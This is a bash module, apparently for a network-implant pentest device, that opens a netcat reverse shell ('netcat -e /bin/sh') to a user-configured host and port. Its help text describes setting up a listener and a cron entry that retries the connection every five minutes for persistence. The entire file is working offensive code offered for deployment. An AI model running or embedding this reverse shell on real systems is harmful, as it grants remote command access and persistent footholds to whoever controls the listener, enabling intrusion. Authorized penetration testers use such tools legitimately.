#!/bin/bash /usr/lib/turtle/turtle_module
VERSION="1.0"
DESCRIPTION="NetCat Reverse Shell"
CONF=/tmp/netcatrevshell.form

: ${DIALOG_OK=0}
: ${DIALOG_CANCEL=1}
: ${DIALOG_HELP=2}
: ${DIALOG_EXTRA=3}
: ${DIALOG_ITEM_HELP=4}
: ${DIALOG_ESC=255}

function start {
  touch /tmp/netcat.pid
  if kill -0 $(cat /tmp/netcat.pid) 2>/dev/null; then
    echo "NetCat Reverse Shell already running"
  else
    if [ -s /etc/config/netcatrevshell ]
    then
      host=$(uci get netcatrevshell.host)
      port=$(uci get netcatrevshell.port)
      echo "Starting NetCat Reverse Shell to $host:$port"
      netcat -e /bin/sh "$host" "$port" & echo $! > /tmp/netcat.pid
    else
      echo "NetCat Reverse Shell not configured"
    fi
  fi
}

function stop {
  touch /tmp/netcat.pid
  if kill -0 $(cat /tmp/netcat.pid) 2>/dev/null; then
    echo "Stopping NetCat Reverse Shell"
    kill $(cat /tmp/netcat.pid)
    kill $(ps | grep [/]bin/sh | awk '{print $1}')
  else
    echo "NetCat Reverse Shell not running"
  fi
}

function status {
  if [ -s /tmp/netcat.pid ]
  then
    if kill -0 $(cat /tmp/netcat.pid) 2>/dev/null; then
      echo "1"
    else
      echo "0"
    fi
  else
    echo "0"
  fi
}

function configure {
  if [ -s /etc/config/netcatrevshell ]
  then
    nc_host=$(uci get netcatrevshell.host)
    nc_port=$(uci get netcatrevshell.port)
  else
    touch /etc/config/netcatrevshell
  fi

  dialog --ok-label "Submit" \
    --help-button \
    --title "NetCat Reverse Shell Configuration" \
    --form "\n\
This module initiates a simple TCP reverse shell (/bin/sh) using NetCat to the specified host/port.\n \n\n" 11 60 2\
    "Host:"		1 1	"$nc_host"		1 12 200 0 \
    "Port:"		2 1	"$nc_port"		2 12 200 0 \
  2>$CONF

  return=$?

  case $return in
    $DIALOG_OK)
      cat $CONF | { 
        read -r nc_host
        read -r nc_port
        touch /etc/config/netcatrevshell
        uci set netcatrevshell.host="$nc_host"
        uci set netcatrevshell.port="$nc_port"
        uci commit netcatrevshell
        rm $CONF
        clear
      };;
    $DIALOG_CANCEL)
      rm $CONF
      clear
      exit;;
    $DIALOG_HELP)
      dialog --title "Help" \
        --msgbox "\
This very basic Reverse Shell uses NetCat to bind a shell from /bin/sh to the specified host and port.\n\n\
A netcat listener should be configured to accept the incoming connection. For example:\n\n\
netcat -l -v -p 8080\n\n\
You may wish to keep the netcat listener running and accepting connections even after a disconnect. Some versions of netcat support the '-k' argument. Alternatively, on Linux, one may use the oneliner 'while true; do netcat -lvp 8080; done' to restart after disconnects.\n\n\
When started, this module will not spawn a new instance of netcat if it is already running.\n\n\
In the event the netcat reverse shell dies, one may consider adding '*/5 * * * * start netcat-revshell' to the crontab to ensure a connection is attempted every 5 minutes. 
" 20 60
      configure
      ;;
    $DIALOG_ESC)
      clear;;
  esac
}